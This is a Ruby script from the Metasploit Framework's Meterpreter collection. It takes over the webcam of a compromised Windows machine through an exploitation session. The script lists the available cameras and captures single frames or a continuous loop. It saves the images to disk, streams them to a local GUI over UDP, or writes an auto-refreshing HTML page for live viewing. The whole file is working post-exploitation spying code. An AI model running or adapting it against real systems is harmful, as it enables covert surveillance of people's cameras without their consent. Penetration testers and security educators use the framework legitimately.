metasploit-framework/scripts/meterpreter/webcam.rb

122 lines
3.4 KiB
Ruby

# Author: scriptjunkie
#
# Simplify running webcam, whether grabbing a single frame or running
# a continous loop.
@client = client
opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu" ],
"-f" => [ false, "Just grab single frame"],
"-l" => [ false, "Keep capturing in a loop (default)" ],
"-d" => [ true, "Loop delay interval (in ms, default 1000)" ],
"-i" => [ true, "The index of the webcam to use (Default: 1)" ],
"-q" => [ true, "The JPEG image quality (Default: 50)" ],
"-g" => [ false, "Send to GUI instead of writing to file" ],
"-s" => [ true, "Stop recording" ],
"-p" => [ true, "The path to the folder images will be saved in (Default: current working directory)"]
)
folderpath = "."
single = false
quality = 50
index = 1
interval = 1000
gui = false
opts.parse(args) { |opt, idx, val|
case opt
when "-h"
print_line "webcam -- view webcam over session"
print_line(opts.usage)
raise Rex::Script::Completed
when "-f"
single = true
when "-l"
single = false
when "-d"
interval = val.to_i
when "-i"
index = val.to_i
when "-q"
quality = val.to_i
when "-g"
gui = true
when "-p"
folderpath = val
when "-s"
print_line("[*] Stopping webcam")
client.webcam.webcam_stop
raise Rex::Script::Completed
end
}
if !(client.platform =~ /win32|win64/)
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end
begin
camlist = client.webcam.webcam_list
if camlist.length == 0
print_error("Error: no webcams found!")
raise Rex::Script::Completed
elsif camlist.length < index
print_error("Error: only #{camlist.length} webcams found!")
raise Rex::Script::Completed
end
print_line("[*] Starting webcam #{index}: #{camlist[index - 1]}")
client.webcam.webcam_start(index)
#prepare output
if(gui)
sock = Rex::Socket::Udp.create(
'PeerHost' => "127.0.0.1",
'PeerPort' => 16235
)
end
imagepath = folderpath + ::File::SEPARATOR + "webcam.jpg"
htmlpath = folderpath + ::File::SEPARATOR + "webcam.htm"
begin
if single == true
data = client.webcam.webcam_get_frame(quality)
if(gui)
sock.write(data)
else
::File.open( imagepath, 'wb' ) do |fd|
fd.write( data )
end
path = ::File.expand_path( imagepath )
print_line( "[*] Image saved to : #{path}" )
Rex::Compat.open_file( path )
end
else
if(!gui)
::File.open(htmlpath, 'wb' ) do |fd|
fd.write('<html><body><img src="webcam.jpg"></img><script>'+
"setInterval('location.reload()',#{interval});</script></body><html>" )
end
print_line( "[*] View live stream at: #{htmlpath}" )
Rex::Compat.open_file(htmlpath)
print_line( "[*] Image saved to : #{imagepath}" )
end
while true do
data = client.webcam.webcam_get_frame(quality)
if(gui)
sock.write(data)
else
::File.open( imagepath, 'wb' ) do |fd|
fd.write( data )
end
end
select(nil, nil, nil, interval/1000.0)
end
end
rescue ::Interrupt
rescue ::Exception => e
print_error("Error getting frame: #{e.class} #{e} #{e.backtrace}")
end
print_line("[*] Stopping webcam")
client.webcam.webcam_stop
sock.close if sock != nil
rescue ::Exception => e
print_error("Error: #{e.class} #{e} #{e.backtrace}")
end